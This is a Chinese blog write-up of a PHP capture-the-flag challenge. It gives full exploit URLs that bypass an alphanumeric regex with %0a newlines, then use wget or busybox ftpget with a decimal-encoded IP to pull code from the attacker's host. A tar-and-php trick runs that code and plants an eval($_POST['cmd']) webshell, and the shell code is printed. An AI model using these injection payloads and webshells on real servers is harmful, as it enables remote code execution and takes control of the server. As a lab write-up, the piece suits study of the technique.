题目地址:https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_4/index.php

借上次的docker环境,稍微改了下。本地搭了个环境玩。

代码审计,整个程序的逻辑是为一个客户端创建一个sandbox/clientip的目录,通过正则表达检查参数值,要求所有的参数仅仅只能为数字和字母。而/bin/orange最终发现只是/bin/true的软链接,没有任何的作用。

ip的  .  可以转10进制来绕过。可以用php解析来任意执行,在本地搭建一个web服务,在首页index.php中写入<?php phpinfo();?>

将本地ip转10进制,用wget或者ftpget来下载文件,下载下来的源码经过php解析了,再php运行。就能任意执行。

可以看到正则匹配/^\w+$/输入必须是字母或者数字,那么空格可以用%0a绕。

膜一下dalao的wp:https://blog.spoock.com/2017/09/09/Babyfirst-writeup/

在本地192.168.158.1index.html中写入:

1
2
3
4
5
6
7
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print eval($_POST["cmd"]);
?>
');

通过以上两个利用点,就可以写入webshell文件了。整个执行流程如下:

1
2
http://192.168.158.135/?args[]=xxx%0a&args[]=mkdir&args[]=exploit   创建exploit文件夹
http://192.168.158.135/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969   进入exploit文件夹,下载192.168.158.1的index.html文件。

此时后台服务器显示的结果如下:

已经成功地将文件下载到本地,接下来就是执行index.html文件中的内容,执行的方式就是上面所讲到的利用点2。

1
http://192.168.158.135/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit

将exploit文件夹打包为archived文件,最后就是php解释执行archived文件了

1
http://192.168.158.135/?args[]=xxx%0a&args[]=php&args[]=archived

此时后台服务器的显示结果为:

可以看到已经成功地创建了shell.php文件

访问shell.php即可拿到服务器的webshell。

getflag。

看下orange的官方解法:

mkdir orange
cd orange
wget HEXED_IP
tar cvf payload orange
php payload

这里利用busybox这个工具。通过busybox中的ftpget的下载命令为:

1
busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名

首先在ftp服务器上面创建一个webshell.php文件,内容是<?php @eval($_POST[cmd])?>.
那么执行流程为:

?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=%2du&args[]=uftp&args[]=%2dp&args[]=123456&args[]=3232275969&args[]=webshell.php

直接从远程的ftp服务器上面下载php文件,此php文件就是一个简单的一句话木马。

成功地下载了webshell.php文件

访问webshell.php即可拿到服务器的webshell。

orz每次做orange的这种极限绕过的题都觉得眼界大开,web真是令人发疯着迷orz….

 

参考链接:https://blog.spoock.com/

分类: WEB学习

1 条评论

姬长信 · 2018年5月27日 上午9:13

郁离歌牛逼

发表评论

电子邮件地址不会被公开。 必填项已用*标注